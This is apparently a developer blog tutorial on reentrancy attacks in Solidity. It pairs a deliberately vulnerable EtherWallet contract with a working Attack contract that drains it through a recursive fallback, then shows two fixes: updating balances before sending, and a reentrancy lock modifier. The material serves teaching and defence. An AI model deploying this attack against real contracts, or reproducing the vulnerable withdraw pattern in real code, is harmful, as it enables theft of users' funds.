Reentrancy Attack in Solidity
Published: 2023-03-30 16:31:42

---
title: Reentrancy Attack in Solidity
published: true
date: 2023-03-30 15:58:38 UTC
tags: 
canonical_url: https://blog.michaeltech.xyz/reentrancy-attack-in-solidity
---

With the rise of web3, we have seen financial solutions taking advantage of the blockchain to deliver innovative products and services, this has also brought about an accompanying rise of malicious actors and hackers seeking to find exploits in several of such systems. In recent times there have been a lot of reports of cryptocurrency hacks causing losses of funds sometimes running into millions of dollars, it will be paramount for a developer to have a proper understanding of these exploits and how to secure their applications. One of the most common hacks is called the Reentracy hack attack, this attack is an exploit that uses a recursive call to a funded Smart contract to illegally withdraw tokens from it.

The following code example is a classic case of a Reentracy attack

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract EtherWallet {
    mapping(address => uint) public balances; // user's balances

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherWallet public etherWallet;

    constructor(address _etherWalletAddress) {
        etherWallet = EtherWallet(_etherWalletAddress);
    }

    // Fallback is called when EtherWallet sends Ether to this contract.
    fallback() external payable {
        if (address(etherWallet).balance >= 1 ether) {
            etherWallet.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherWallet.deposit{value: 1 ether}();
        etherWallet.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

```

There are two contracts in the above example the first one _etherWallet,_ acts as a simple bank where users can deposit and withdraw their ethers. The second contract _Attack_ is initialized with the _etherWallet_ contract address, it has an _attack_ function that when called, first invokes the _etherWallet.deposit_ function to deposit 1 _ether_, it then moves to run _etherWallet.withdraw_ function, which sends the 1 ether back to the _Attack_ address,

```
function attack() external payable {
        require(msg.value >= 1 ether);
        etherWallet.deposit{value: 1 ether}();
        etherWallet.withdraw();
    }

```

the function that receives the withdrawal is the _fallback_ function which has another _etherWallet.withdraw_ function within it, since the _etherWallet_ contract hasn't updated the user balance for the _Attack_ contract, it stills reads its balance as having 1 ether, this continues as a recursive loop until the _etherWallet_ balance is completely drained.

```
fallback() external payable {
        if (address(etherWallet).balance >= 1 ether) {
            etherWallet.withdraw();
        }
    }

```

### Stopping the Hack

A simple way of solving this will be to make sure the _withdraw_ function updates the user's balance before sending the funds

```
function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);
        balances[msg.sender] = 0; //Updated balance before sending
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

    }

```

Another way is creating a function modifier that locks the withdrawal function when it is still being called and doesn't allow a concurrent call on it

```
contract ReEntrancyLock {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

```

OpenZeppelin has a ready-made implementation of a ReentracyGuard that can be easily integrated into your projects. One can clearly see that detailed attention and care must be put into building fault-tolerant applications that users can commit their precious funds into. Stay safe!